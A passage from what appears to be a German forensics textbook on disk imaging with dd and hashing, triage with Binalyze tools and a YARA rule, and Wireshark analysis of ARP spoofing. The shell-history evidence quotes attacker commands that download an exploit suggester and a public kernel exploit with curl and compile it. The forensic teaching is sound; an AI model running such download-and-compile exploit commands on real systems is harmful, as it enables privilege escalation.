of all volumes on disk2 was successful Dann können wir die Platte klonen: Marks-Mac-Pro:~ mark$ sudo dd if=/dev/disk2 of=~/disk2.img 60
Hierbei steht /dev/disk2 für den ganzen Datenträger und /dev/disk2s1 würde dann den Slize 1, also die erste Partition, bedeuten. So könnte man auch einzelne logische Datenträger klonen. if steht hierbei für Input-File und of für Output-File. In diesem Fall schreiben wir also die Kopie der Platte in die Datei ds.img im Benutzer-Verzeichnis (~). Dies wäre in dem Fall ein RAW-Image. Wenn wir während des Prozesses Ctrl + T drücken, erhalten wir folgende Ausgabe: ^T load: 2.62 cmd: dd 60642 uninterruptible 0.03u 0.75s 48776+0 records in 48776+0 records out 24973312 bytes transferred in 4.784076 secs (5220091 bytes/sec) So können wir den aktuellen Fortschritt prüfen denn dd erzeugt keinerlei Ausgabe solange das Programm läuft. 1995264+0 records in 1995264+0 records out 1021575168 bytes transferred in 194.703102 secs (5246836 bytes/sec) Wenn dd fertig, ist erhalten wir die oben gezeigte Ausgabe und den Prompt um einen weiteren Befehl einzugeben. Jetzt fehlt uns noch die MD5-Summe zur späteren Verifizierung. Diese errechnen wir wie folgt: Marks-Mac-Pro:~ mark$ md5 ~/disk2.img MD5 (/Volumes/UserDaten/mark/disk2.img) = fb448e6b769d0137a9302ba329333104 Natürlich könnten wir die Ausgabe auch gleich in eine Datei umleiten: Marks-Mac-Pro:~ mark$ md5 ~/disk2.img > ~/disk2.md5 Damit erhalten wir keine Ausgabe auf dem Terminal mehr denn diese wird in die Datei disk2.md5 geschrieben. Unter Linux funktioniert dies fast gleich: mark@ubuntu:~$ lsblk -a NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT loop0 7:0 0 75,3M 1 loop /snap/hexchat/42 ... 61
loop29 sda └─sda1 sdb └─sdb1 sdd nvme0n1 ├─nvme0n1p1 ├─nvme0n1p2 ├─nvme0n1p5 └─nvme0n1p6 7:29 8:0 8:1 8:16 8:17 8:48 259:0 259:1 259:2 259:3 259:4 0 0 1,8T 0 1,8T 0 1,8T 0 1,8T 1 974,3M 0 465,8G 0 93,1G 0 0 14,9G 0 357,7G 0 0 0 0 0 0 0 0 0 0 0 loop disk part disk part disk disk part part part part /FILESERVER /BACKUP /media/mark/OSFCLONE / [SWAP] /home Der Befehl lsblk -a listet alle Blockgeräte auf und hier erwartet uns ein ähnliches Namensschema. sda - sdX sind die SATA- und USB-Datenträger und die Ziffer danach wäre die Partition. Mit sda könnten wir also die ganze 2TB Platte klonen und mit sda1 nur die ext4 Partition. Bei den NVMe-Geräten wäre nvme0n1 die ganze SSD und nvme0n1p6 die /home Partition. Mit diesem Wissen können wir nun wieder den dd Befehl nutzen: mark@ubuntu:~$ sudo dd if=/dev/sdd of=~/sdd.img status=progress [sudo] Passwort für mark: 235127296 Bytes (235 MB, 224 MiB) kopiert, 11 s, 21,4 MB/ Diese Variante von dd erlaubt es uns den Fortschritt direkt zu verfolgen. Die Optionen sollten mittlerweile klar sein. Nachdem dd fertig ist, erhalten wir wieder die folgende Meldung: 1995264+0 Datensätze ein 1995264+0 Datensätze aus 1021575168 Bytes (1,0 GB, 974 MiB) kopiert, 47,7778 s, 21,4 MB/s Dann können wir die md5-Summe errechnen: mark@ubuntu:~$ md5sum ~/sdd.img be7b6393e166fdb39940c94936571ce1 /home/mark/sdd.img Wie Ihnen vielleicht auffällt, stimmt die MD5-Summe nicht mit der vom Mac überein da ich zwischenzeitig etwas auf dem USB-Stick verändert habe. Überprüfen könnten Sie ein Image wie folgt: 62
mark@ubuntu:~$ md5sum ~/sdd.img > ~/sdd.md5 mark@ubuntu:~$ sudo md5sum /dev/sdd >> ~/sdd.md5 mark@ubuntu:~$ cat ~/sdd.md5 be7b6393e166fdb39940c94936571ce1 /home/mark/sdd.img be7b6393e166fdb39940c94936571ce1 /dev/sdd Zuerst überschreiben wir den Inhalt von ~/sdd.md5 mit der Ausgabe der MD5Summe von der Image-Datei und dann fügen wir mit >> die MD5-Summe von der Blockdatei hinzu. Das ist möglich da unter Linux und Unix (OS X ist auch ein Unix-System) alles eine Datei ist. So können wir den USB-Stick lesen oder beschreiben indem wir einfach auf /dev/sdd zugreifen. cat gibt dann den Dateiinhalt aus und wir können direkt sehen, wenn hier etwas nicht stimmt. Genau das gleiche erreichen wir am Mac wenn wir die MD5Summe von /dev/disk2 berechnen. Ist nur ein einziges Byte unterschiedlich, dann ist auch die MD5-Summe eine völlig andere. Wenn Sie dann alle Analysen auf einer falschen Datei machen oder auch nur die Verifikation nicht durchführen kann man jedes Ergebnis in Zweifel ziehen. Bei einem Live Image ist dies aber nicht durchführbar denn auf der Platte wird laufend gearbeitet und die Verifikation wird niemals stimmen. Das müssen Sie auch beim FTK Imager bedenken. Die Zeit für die Verifikation können Sie sich sparen aber dies müssen Sie in der Dokumentation unbedingt vermerken! Denn die Erklärung warum dieses Image nicht verifiziert wurde bzw. nicht verifiziert werden konnte werden Sie dann eventuelle erst nach 1,5 Jahren vor Gericht liefern müssen und ob Sie sich dann noch so genau daran erinnern ist fraglich. Daher muss die Dokumentation der einzelnen Vorgänge auch wirklich genau und vollständig sein. Andernfalls zieht man aufgrund eines solchen fehlenden Details eventuell Ihre ganze Arbeit in Frage. 63
Logisches Sichern von einzelnen Dateien Bei einer sogenannten Sparse- oder Logical-Acquisition werden nur einzelne Dateien gesichert. Das kann dann Sinn machen, wenn es zB nur um E-Mails geht und wir daher nur die PST-Datei von Outlook brauchen oder wenn wir auf einem Shared Server oder in der Cloud Daten erfassen. In diesen Fällen brauchen wir die anderen Dateien nicht oder wir haben nicht das Recht diese zu sichern, weil die restlichen Daten zB anderen Usern gehören die mit dem konkreten Fall nichts zu tun haben. Das wichtigste ist in diesem Fall ein vorgehen, dass der forensischen Arbeitsweise genügt und von einem anderen IT-Forensiker auch nachvollzogen werden kann. Nicht für jeden Fall gibt es hierbei die passenden Tools und daher kann man auch einfach vorhandene Werkzeuge nutzen oder deren Arbeitsweise bestmöglich nachbilden. Hierbei ist die genaue Dokumentation dann umso wichtiger! Zunächst wollen wir uns wieder FTK Imager unter Windows ansehen: Wenn wir File -> Create Disk Image aufrufen haben wir ebenfalls die Option den Inhalt eines bestimmten Ordners zu sichern. 64
Hierbei werden wir dann gewarnt, dass keine gelöschten Dateien, freier Speicherplatz oder Dateisystem Metadaten gesichert werden. Sobald wir diese Warnung bestätigen, können wir den gewünschten Ordner auswählen: Dann können wir die nötigen Fallinformationen für das AD1 Image erfassen: 65
und die Dateien erfassen: Später können wir in FTK Imager den Menüpunkt File -> Add Evidence Item verwenden um die AD1 Datei zu laden. Zuerst müssen wir den Typ Image File auswählen: 66
Dann das AD1 Image auswählen: Und dann können wir FTK Imager verwenden um den Fall zu untersuchen: 67
Hierbei haben wir nur eine sehr beschränkte Auswahl an Tools wie einen Dateibrowser und einen Hex-Viewer zur Verfügung was aber für viele Fälle reicht da wir die Dateien Exportieren können um diese mit weiteren Tools zu untersuchen. Alternativ können wir File -> Image Mounting nutzen um das Image als ReadOnly Datenträger im Windows einzuhängen. Danach können Sie mit jedem Tool Ihrer Wahl die Untersuchung durchführen. Sehr interessante Tools die sich nur auf die Akquise von bestimmten Artefakten konzentriert sind Acquire bzw. die kostenpflichtige Variante davon namens Tactical von Binalyze. Die Tools von Binalyze sind mit Kosten von weit unter 100 USD / Rechner der untersucht wird nicht nur preislich für viele Untersuchungen interessant. AIR von Binalyze bietet die Möglichkeit der Remote-Akquise und Auswertung von vielen verschiedenen Artefakten wie RAM-Dumps, Browserdaten, Eventlogs und vielem mehr ohne die ganze Platte zu klonen. Die Idee dahinter ist, dass für viele Untersuchungen ein Image der Festplatten nicht nötig ist denn in vielen Fällen sind zB Userdaten irrelevant. Wenn es darum geht viele Rechner zu untersuchen wie zB nach einem Cyberangriff kann dieser Ansatz sehr viel Zeit sparen um einen Überblick zu erhalten. 68
Sehen wir uns zunächst ACQUIRE an bevor wir mit Air eine kleine Untersuchung durchführen. Zuerst müssen Sie das Tool unter https://binalyze.com/acquire/ herunterladen. Wenn Sie das Tool starten, sehen Sie folgendes Fenster: Wenn Sie auf Custom Content oben links klicken, dann haben Sie die Möglichkeit neben den vordefinierten Artefakten auch eigene Ordner und Dateien auszuwählen. 69
Hierbei ist auch das Verwenden von Wildcards wie * erlaubt um zB mit Users\* die Userverzeichnisse aller Benutzer zu sichern. Wenn Sie die gewünschten Artefakte ausgewählt haben und dann das Ausgabe-Verzeichnis im Hauptfenster festgelegt haben, können Sie das Erfassen starten. 70
Da nur bestimmte Daten kopiert werden, dauert dieser Prozess nur wenige Minuten. Sobald dies abgeschlossen ist, sehen Sie folgendes Fenster: Die gesammelten Daten sind hierbei vor den Zugriff von zB Malware geschützt solange bis Sie den HTML-Report anzeigen lassen oder den Schutz manuell aufheben. Der HTML-Report erlaubt es Ergebnisse zu filtern und ist schon für eine erste grobe Übersicht hilfreich: 71
Als nächstes wollen wir uns ansehen wie wir bestimmte Ordner und Dateien auf einem Linux- oder OS X System sichern. Obwohl TACTICAL, AIR und ACQUIRE auch unter Linux arbeiten wollen wir uns hier eine manuelle Methode ansehen: root@ubuntuserver:~# du -sm /var/log 3052 /var/log Zuerst prüfen wir mit du wie viel Speicher wie benötigen. root@ubuntuserver:~# fallocate -l 4G var_log.img Dann können wir mit fallocate eine Datei erstellen, die groß genug ist die Daten und Dateisystem-Metadaten aufzunehmen. root@ubuntuserver:~# mkfs.ext4 var_log.img mke2fs 1.44.1 (24-Mar-2018) Geräteblöcke werden verworfen: erledigt Ein Dateisystem mit 1048576 (4k) Blöcken und 262144 Inodes wird erzeugt. UUID des Dateisystems: 4da8c45e-8ee9-42b3-8553-7314e1986aa2 Superblock-Sicherungskopien gespeichert in den Blöcken: 32768, 98304, 163840, 229376, 294912, 819200, 884736 beim Anfordern von Speicher für die Gruppentabellen: erledigt Inode-Tabellen werden geschrieben: erledigt Das Journal (16384 Blöcke) wird angelegt: fertig Die Superblöcke und die Informationen über die Dateisystemnutzung werden geschrieben: erledigt Dann können wir auf dieser Datei das gleiche Dateisystem anlegen wie auf dem Originaldatenträger. Falls Sie nicht sicher sind welches Dateisystem der Originaldatenträger hat, hilft Ihnen zB der Befehl mount ohne weitere Parameter. root@ubuntuserver:~# mount var_log.img /mnt/ Sobald das Dateisystem erstellt ist, können wir dies einhängen. root@ubuntuserver:~# rsync -a /var/log/ /mnt/ Danach hilft uns rsync -a dabei die Daten zu kopieren. Die Option -a (Archive) sorgt dafür, dass rekursiv alle Daten kopiert werden und dabei Symlinks, Berechtigungen, User- und Gruppen, Zeitstempel sowie Gerätedateien und andere spezielle Dateien erhalten werden. 72
root@ubuntuserver:~# root@ubuntuserver:~# root@ubuntuserver:~# root@ubuntuserver:~# echo -n "MD5: " > var_log.img.txt md5sum var_log.img >> var_log.img.txt echo -n "SHA1: " >> var_log.img.txt sha1sum var_log.img >> var_log.img.txt Danach können wir die MD5- und SHA1-Summe bilden und diese in einer Textdatei speichern. root@ubuntuserver:~# cat var_log.img.txt MD5: 60178becc23942e2a739ad5bceb15d36 var_log.img SHA1: c962dfa4f296f9c35f857d0313c5c65f38d8bc9b var_log.img Dieser Prozess muss auf jeden Fall logisch und nachvollziehbar dokumentiert werden, damit ein anderer IT-Forensiker Ihr Vorgehen und die Ergebnisse nachvollziehen und überprüfen kann. Es wäre auch ratsam die MD5-Summen jeder einzelnen Datei zu errechnen und diese in einer Datei zu speichern und nicht nur wie hier gezeigt die MD5-Summen des Images. Dazu können wir eine for-Schleife verwenden: root@ubuntuserver:~# for i in `find /var/log/ -iname "*"`; do md5sum $i >> /mnt/md5sums.txt; done; Damit errechnen wir die MD5-Summen jeder Datei und speichern diese in die Datei md5sums.txt. 73
Schnelle Analyse mit Binalyze AIR Eine von Binalyze selbst als "Enterprise Forensik" bezeichnete Art der SparseAkquise ist mit AIR möglich. Dieses Tool erlaubt es von einem zentralen Server, der als Console bezeichnet wird, sogenannte Endpoints zu verwalten und darauf nach bestimmten Mustern zu suchen (Triage) oder eine bestimmte Auswahl von Artefakten zu sammeln. So kann man sich in einem größeren Netzwerk nach einem Angriff schnell einen Überblick verschaffen und dann entscheiden welche Rechner dann genauer untersucht werden müssen. Außerdem kann AIR an ein SIEM-System (Security Information and Management) angebunden werden und im Falle eines Alarms automatisch die Akquise durchführen umso dem Vernichten von möglichen Beweisen durch den Angreifer zuvorzukommen. Weiters ist dieses System sehr gut geeignet um die Einhaltung von Sicherheitsund Firmenrichtlinien zu überprüfen. Für Dienstleister im Forensik-Bereich gibt es die Möglichkeit eine begrenzte Lizenz für einen Fall zu erwerben die mit weit unter 100 EUR / Endpoint und einem Maximum pro Untersuchung von weniger als 2.000 EUR sehr erschwinglich ist. Das macht dieses Tool gleichermaßen für die IT-Abteilung von Firmen wie für Dienstleister interessant! Sobald die Console auf einem Rechner installiert ist muss die Lizenz aktiviert und ein User angelegt werden. Außerdem definieren wir die IP zu der sich die Endpoints verbinden. Soll eine Remote-Akquise durchgeführt werden, müssen wir die öffentliche IP eintragen und am Router die entsprechenden Ports freigeben. Nachdem dies geschehen ist können wir uns als dieser User anmelden und die Endpoints hinzufügen indem wir von den Endpoints aus die URL http://[CONSOLE-IP]/#/deploy aufrufen oder dem Endpoint die entsprechende Datei zur Verfügung stellen. Danach sollten wir folgendes Fenster sehen: 74
Da ich hier als Beispiel die VM von OWASPBWA verwende, da diese bereits einige Hacking-Angriffe aus vorherigen Büchern geloggt hatte, nutze ich hier den Debian-Agent (Client). Bei dieser alten Ubuntu-Version musste ich zwei Dinge vorbereiten damit das Tool funktionierte: root@owaspbwa:~# cp /etc/debian_version /etc/debian-release root@owaspbwa:~# dpkg -i libc6_2.17-0ubuntu5.1_i386.deb Die Datei libc6_2.17-0ubuntu5.1_i386.deb habe ich von http://launchpadlibrarian.net/151932048/libc6_2.17-0ubuntu5.1_i386.deb heruntergeladen. Bei moderneren Linux-Versionen sollte alles sofort laufen. Sobald der Agent installiert ist, sollten wir im Dashboard auf der Console folgendes sehen: 75
Yara Die Suche nach Mustern erfolgt mit Hilfe von https://virustotal.github.io/yara/ ( ). Dies ermöglicht es selber sehr mächtige und auch flexible Suchfilter zu schreiben und bietet gleichzeitig den Zugriff auf tausende Filterregeln aus dem Internet. Um eine eigene Regel anzulegen habe ich dem Punkt Triage aufgerufen, dann die Filterregeln von core.webshell_detection kopiert und um folgende Regel ergänzt: rule sypps { meta: author = "Mark B." strings: $str1 = "SYPPS" $str2 = "sypps" condition: ($str1 or $str2) } Obwohl die Regel selbsterklärend sein sollte will ich sie dennoch kurz erklären. Eine Regel wird mit rule gefolgt von einem frei definierbaren Namen (hier sypps) eingeleitet und in { } gefasst. Unter Meta können wir diverse Metadaten wie Autor, Version, Beschreibung, etc. anlegen. In strings können dann variablen (hier $str1 und $str2) definiert werden. Weiters wäre es auch möglich Hexadezimale Werte zu definieren. Mit 76
$mz = { 4D 5A } würden wir zB die Magic-Number von PE bzw. Windows EXE- und DLL-Dateien definieren. Unter condition schreiben wir dann einen booleschen Ausdruck mit dem dann ein Mustervergleich durchgeführt wird. Hierbei würde also jede Datei die entweder sypps oder SYPPS enthält erkannt. Um falsch positive Treffer zu vermeiden könnte man die Logik der Regel noch verfeinern aber das soll an dieser Stelle für die Demonstration von Yara reichen. Nachdem wir die Regel eingefügt, einen Namen vergeben und festgelegt haben ob diese auf Dateien, RAM-Speicher oder beides angewendet werden sollten, können wir sie speichern. Wenn dies klappt, sollten wir folgendes sehen: Dann können wir wieder zum Dashboard wechseln, den Endpoint auswählen und es öffnet sich eine Liste mit folgenden Optionen: 77
Hier können wir nun direkt nach bestimmten Mustern suchen (Triage) oder die diversen Artefakte sammeln. Klicken wir zuerst auf den Triage-Button: Dann vergeben wir einen Namen für den Task und wählen die abzuarbeitenden Regeln aus. 78
Danach sollten wir in den Tasks folgende Zeile sehen: Sobald der Task beendet wurde, sehen wir einen View-Link mit dem wir zum Abschluss-Bericht gelangen. Dieser Vorgang dauerte bei meinem Versuch etwas weniger als 10 Minuten und lieferte folgende Ergebnisse: Neben den Dateien von SYPPS und diversen obfuskierten Dateien die von anderen Regeln gefunden wurden, fanden sich auch Einträge von Cookies in LogDateien und Artefakte der Bearbeitung dieser Datei mit VIM. So können Sie ein ganzes Netzwerk in kürzester Zeit nach bekannten Bedrohungen absuchen. DRONE geht dabei noch einen Schritt weiter... Als nächstes wollen wir uns die Akquise ansehen. Wählen Sie dazu wieder den Endpoint im Dashboard aus und klicken Sie nun auf den Acquire-Button: 79
Zunächst wählen wir das Full-Profil aus um alle Artefakte zu sammeln. Danach können wir einen Namen für den Task vergeben und festlegen wo die Daten gespeichert werden sollten. Wir können diese gleich auf die Forensik-Workstation mit der Option Evidence Repository übertragen lassen aber da Linux-Agents in dieser Version die Daten nicht auf einem Samba-Share (Windows-Freigabe) ablegen können, habe ich diesen manuell unter /mnt gemountet. Neben der Samba-Option könnten wir auch einen SFTP-Server oder Amazon S3 Bucket oder Azure Blob verwenden. 80
Das Erfassen der Artefakte dauerte nicht einmal eine Minute: Wenn wir nun den Bericht öffnen und den Punkt Shell History aufrufen, sehen wir Folgendes: 81
Einträge wie curl https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/ master/linux-exploit-suggester.sh > linsploit.sh bash linsploit.sh curl http://www.exploit-db.com/download/17787 > half_nelson.c gcc half_nelson.c -o half_nelson -lrt lassen nichts Gutes vermuten! Auf diese Weise sparen wir uns sehr viel Zeit die wir bei einem herkömmlichen Ansatz mit dem Erstellen eines binären Images verbringen würden. Natürlich kann man die gesammelten Daten mit weiteren Tools untersuchen und genau das werden wir mit den Apache-Logdateien im Kapitel "Volltextsuche und reguläre Ausdrücke" auch machen. DRONE ist derzeit nur für Windows verfügbar aber der Hersteller arbeitet derzeit an der Integration in AIR und danach am Ausbau der Funktionalität um auch Linux zu unterstützen. Das Tool kann von einem USB-Stick gestartet werden und ist so einfach wie nützlich um eine größere Anzahl von Systemen schnell zu prüfen: 82
83
Wenn Sie das Tool starten, öffnet sich der Browser und zeigt Ihnen diese Webseite. Sie können wahlweise alle Module im Auto Pilot laufen lassen oder selber die gewünschten Module auswählen sobald Sie den Auto Pilot deaktiviert haben. Sobald Sie auf Start Mission klicken, werden die Module abgearbeitet und binnen weniger Minuten erhalten Sie eine Liste der Auffälligkeiten. Gleichzeitig wird im Ordner Cases ein Unterordner für die aktuelle Akquise erstellt und mit Hilfe eines Tools namens IREC (Insident Response Evidence Collector) werden einige Artefakte gesammelt und in einem separaten Bericht gepackt: So lassen sich eine größere Anzahl an Systemen in kürzester Zeit grob überblicken und herausfiltern welche Systeme man genauer untersuchen sollte. 84
Für viele Untersuchungen sind diese Tools nicht nur eine Möglichkeit um einen Überblick zu bekommen, sondern alles was man an Daten benötigt. Man muss natürlich sichergehen, dass man keine weiteren Daten benötigt oder zur Sicherheit die Datenträger der Systeme mit Auffälligkeiten klonen für den Fall, dass man diese irgendwann doch brauchen würde. Auch wenn man meint, keine weiteren Daten zu benötigen, ist es von Vorteil, wenn ein Fall vor Gericht landet alle Daten zu haben. Wenn die Gegenseite behaupten sollte, dass man entlastende Beweise in den nicht untersuchten Daten übersehen hat ist es wichtig zumindest ein Image der gesamten Daten zu haben. Daher empfehle ich Ihnen, auch wenn Sie die Daten nicht untersuchen oder glauben diese nicht zu benötigen, ein vollständiges Image anzufertigen, wenn Sie die Möglichkeit und Berechtigung dazu haben und sei es nur um auf Nummer sicher zu gehen! Ein ähnliches Produkt wird von der Firma Belkasoft unter dem Namen Belkasoft T bzw. Belkasoft Triage vertrieben. Belkasoft X bzw. Belkasoft Evidence Center X, die Analyse-Software dieses Herstellers, kann auf einem Image einen derartigen schneller Triage-Scan ausführen um einen schnellen Überblick zu bekommen was in vielen Fällen auch sehr interessant sein kann. Belkasoft will mit T in künftigen Versionen Mac OS X unterstützen und danach sollte auch Linux-Support hinzugefügt werden. 85
Netzwerkverkehr aufzeichnen Eine weitere Stelle an der wir wichtige Informationen finden können ist der Netzwerkverkehr. Hier können wir sehen welche Computer miteinander kommunizieren, auf welche externen IP-Adressen diese zugreifen und welche Protokolle verwendet werden, etc. Theoretisch ist es zwar möglich die Pakete direkt auf dem Rechner aufzuzeichnen den wir untersuchen aber praktisch müssen wir dazu wieder Software Installieren oder zumindest darauf ausführen. Daher ist es in der Regel zu bevorzugen die Pakete am Router oder mit einem MITM-Gerät wie dem PacketSquirrel aufzuzeichnen. Hier könnte man die Tools tcpdump oder tshark (siehe nächstes Kapitel) verwenden oder einen Anschluss man Router spiegeln, wenn dieser das unterstützt. Der Aufzeichnungsvorgang an einem laufenden System ist mit Wireshark nicht besonders aufwendig. Wenn Sie das Programm starten, sehen Sie folgendes Fenster: 86
Danach klicken Sie auf das Flossen-Symbol oben links und wählen Sie das Netzwerkinterface aus auf dem die Pakete abgefangen werden sollen. Sie können auch bereits hier Filter definieren damit nicht zu viele Pakete abgefangen werden denn die Datenmenge kann hierbei schnell explodieren. Sofern man sicher ist, dass man nur bestimmte Pakete oder nur Pakete von bestimmten Rechnern benötigt sollte man die Aufzeichnung darauf beschränken. Wenn die Rechner per WLAN und nicht per Kabel kommunizieren, können Sie den Netzwerkverkehr auch mit Ihrem Rechner aufzeichnen. Wenn Sie das WLAN-Passwort haben und einen WPA-Handshake aufzeichnen, können Sie die Pakete entschlüsseln. Die Strategie wo und mit welchen Mitteln Sie die Daten aufzeichnen müssen Sie natürlich dem Netzwerkaufbau, der zu klärenden Fragestellung und dem rechtlichen Rahmen anpassen. Damit wir von gleichen sprechen, werden wir uns nun ein praktisches Beispiel ansehen. Dazu laden wir folgende Datei herunter: https://github.com/chrissanders/packets/blob/master/arppoison.pcapng Nehmen wir an, wir untersuchen ein Firmennetzwerk und verdächtigen einen Mitarbeiter, dass dieser mit ARP-Spoofing versucht Passwörter zu stehlen. APRSpoofing, auch ARP-Poisoning genannt, ist eine Technik mit der ein Opfer veranlasst werden kann den Rechner des Angreifers als Gateway zu benutzen und den gesamten Netzwerkverkehr über diesen Rechner zu leiten. Ein Angreifer könnte dann DNS-Anfragen manipulieren oder Formulareingaben in ungesicherte Webseiten abfangen, usw. Das ARP (Address Resolution Protokoll) wird dazu verwendet um zu einer IPAdresse die passende MAC-Adresse zu ermitteln. Dazu fragt der Rechner, der eine MAC-Adresse ermitteln will, über einen Broadcast (Nachricht an alle) welcher PC die gesuchte IP hat. In der Regel antwortet der gesuchte Rechner und nennt seine MAC-Adresse. Beim ARP-Poisoning wird das Opfer ungefragt mit Antworten bombardiert um schneller als der eigentlich gesuchte Rechner zu antworten. Als erstes können wir uns die Endpunkte ansehen um einen Überblick über die IP-Adressen in den Paketen zu erhalten. 87
Wenn wir zum Ende der Aufzeichnung scrollen, fällt uns auf, dass wir 165 Pakete in 15 Sekunden (die Spalte Time gibt die Zeitdifferenz zum ersten Paket an) aufgezeichnet haben. Das wären in dem Fall 660 Pakete pro Minute und 39.600 Pakete pro Stunde! Bedenken Sie auch, dass diese Pakete wie Zwiebeln sind und die Pakete der einzelnen Netzwerkschichten ineinanderstecken. Wir haben hier also die 3- bis 5-fache Menge an Datensätzen wenn wie die einzelnen Schichten auftrennen und untersuchen. Verstehen Sie nun warum das Filtern von Paketen bei der Aufzeichnung wichtig ist? Hier haben wir es auch nur mit 3 Endpunkten zu tun - rechnen Sie sich selber aus wie viel Daten wir erhalten, wenn wir die Aufzeichnung des Netzwerkverkehrs in einer Firma mit 20 Rechnern über Stunden laufen lassen! Da wir ARP-Spoofing vermuten können wir gleich die ARP-Pakete filtern indem wir als Filter arp schreiben: In der oberen Liste sehen Sie dann die Pakete, in der Mitte können Sie die einzelnen Protokolle in lesbarer form betrachten und am Ende sehen Sie eine Darstellung im HEX-Format: 88
Damit erhalten wir eine Übersicht der Pakete und eine kurze Zusammenfassung, die ich unten nochmals größer abgedruckt darstelle: 54 4.646389 HP_bf:91:ee Dell_c0:56:f0 ARP 60 Who has 172.16.0.107? Tell 172.16.0.1 55 4.646442 Dell_c0:56:f0 HP_bf:91:ee ARP 42 56 4.646455 HP_bf:91:ee Dell_c0:56:f0 ARP 60 165 14.392559 HP_bf:91:ee Broadcast 172.16.0.107 is at 00:21:70:c0:56:f0 172.16.0.1 is at 00:25:b3:bf:91:ee ARP 60 Who has 172.16.0.1? Tell 172.16.0.105 Aus Platzgründen habe ich HewlettP_bf:91:ee auf HP_bf:91:ee abgekürzt. Die Ermittlung des Herstellers ist möglich da die MAC-Adresse aus zwei Teilen besteht - der Vendor-ID und der Produkt-ID. In diesem Fall ist es sehr praktisch für uns, dass Wireshark diese auswertet. Wenn sie übrigens eine Zeile mit rechts anklicken und unter Kopieren den Punkt Zusammenfassung als Text wählen, erhalten Sie jeweils eine der oben abgedruckten Zeilen. Ich bevorzuge dies in Berichten da es viel kompakter ist als dutzende Screenshots und meist schärfer zu lesen als die gerasterte Schrift aus einem Screenshot. Versuchen wir also zu verstehen was passiert ist: Zuerst sendet der HP- an den Dell-Rechner die Frage "Who has 172.16.0.107? Tell 172.16.0.1". Das ist schon mal nicht der übliche Fall denn in der Regel 89
sollten diese Fragen an die Broadcast-Adresse gehen. In Paket 56 schickt der HP and den Dell dann "172.16.0.1 is at 00:25:b3:bf:91:ee". Er bestätigt also, dass er der Rechner mit der IP 172.16.0.1 ist. Im letzten ARP-Paket fragt der HP-Rechner selber: "Who has 172.16.0.1? Tell 172.16.0.105". Das legt nahe, dass der PC von HP eigentlich die IP 172.16.0.105 haben sollte. Das ist schon mal die erste Warnlampe die angehen sollte. Aber wir sollen als ITForensiker die einzelnen Sachverhalte mit Gegenproben absichern. Also Filtern wir nach ip.addr == 172.16.0.105 und ip.addr == 172.16.0.1. Leider bringen beide Suchen kein Ergebnis. In einem realen Fall sollten wir definitiv wissen welches Gerät welche Funktion hat und oftmals haben wir auch einen Plan des Netzwerks und raten nicht nur herum wie hier. Der Filter ip.addr liefert übrigens alle Pakete deren Quelle (ip.src) oder Ziel (ip.dst) der gesuchten IP entspricht. Diese Datei ist auch ein gutes Beispiel für einen zu restriktiv gesetzten Filter bei der Aufzeichnung. Es ist ein schmaler Grat zwischen zu restriktiven und zu groben Filtern. Nachdem wir nun vermuten, dass das ARP-Spoofing bei Paket 54-56 stattgefunden hat sehen wir uns an wie das vermeintliche Opfer (172.16.0.107) sich davor und danach verhält. Dazu filtern wir mit ip.src == 172.16.0.107 alle Pakete die von dem Opfer gesendet wurden. Paket 52 sieht wie folgt aus: Frame 52: 77 bytes on wire (616 bits), 77 bytes captured (616 bits) on interface 0 Ethernet II, Src: Dell_c0:56:f0 (00:21:70:c0:56:f0), Dst: Cisco_31:07:33 (00:26:0b:31:07:33) Internet Protocol Version 4, Src: 172.16.0.107, Dst: 12.153.20.41 User Datagram Protocol, Src Port: 39607, Dst Port: 53 Domain Name System (query) Wir sehen also, dass dieses Paket and das Ziel Cisco_31:07:33 (00:26:0b:31:07:33) gesendet wird. Da ARP-Spoofing auf dem Ethernet-Layer arbeitet interessiert uns auch nur dieser im Moment. Frame 57: 960 bytes on wire (7680 bits), 960 bytes captured (7680 bits) on interface 0 Ethernet II, Src: Dell_c0:56:f0 (00:21:70:c0:56:f0), Dst: HewlettP_bf:91:ee (00:25:b3:bf:91:ee) 90
Internet Protocol Version 4, Src: 172.16.0.107, Dst: 74.125.95.147 Transmission Control Protocol, Src Port: 45691, Dst Port: 80, Seq: 1470, Ack: 6471, Len: 894 Hypertext Transfer Protocol Hier geht nun das Paket über den Rechner HewlettP_bf:91:ee (00:25:b3:bf:91:ee). Da wir in beiden Fällen eine externe IP ansprechen (Dst: 12.153.20.41 bei der DNS-Anfrage und Dst: 74.125.95.147 bei dem HTTP-Paket) müssen diese über das sogenannte Gateway versendet werden, denn dies ist quasi das Tor zum Internet und allen anderen externen Netzwerken. Wir sehen also, dass bis zum Paket 52 der Rechner Cisco_31:07:33 als Gateway verwendet wurde und nach den suspekten Paketen von HewlettP_bf:91:ee wurde der HP-Rechner als Gateway benutzt. Das ist nicht nur ein Beispiel wie wir Netzwerkverkehr analysieren sondern auch ein Beispiel dafür wie wir dies in einem Gutachten erklären könnten und wie wir eine Gegenprobe zur Bestätigung einer Annahme durchführen. Wir haben also einerseits die Pakete, die suspekt sind und andererseits das Verhalten das Opfer-PC, dass sich nach diesen Paketen ändert. Wenn Sie im mittleren Bereich mit rechts auf den Text klicken und dann Kopieren und dann Alle sichtbaren Elemente auswählen erhalten Sie die oben gezeigten Texte für Ihre Berichte. Eine mögliche Behauptung des Verdächtigen bleibt aber noch. Man könnte behaupten, dass dies ein zufälliger Fehler war und das Paket zufällig so beschädigt wurde, dass diese falsche Antwort entstand. Wir haben in dem Fall keine tausenden Antwortpakete um dies zu entkräften also können wir uns einen anderen Weg suchen. Wenn Sie das Paket 57 mit rechts anklicken und dann unter Folgen den Punkt TCP Stream auswählen, öffnet sich ein weiteres Fenster in dem Sie die gesamte Kommunikation die zu einem Paket gehört verfolgen können. Dies ist sehr nützlich, da Antwortpakete aufgrund von Verarbeitungs-Zeiten auf Servern nicht direkt danach in der Paketliste stehen. Dieses Fenster zeigt uns nun folgendes: GET / HTTP/1.1 Host: www.google.com 91
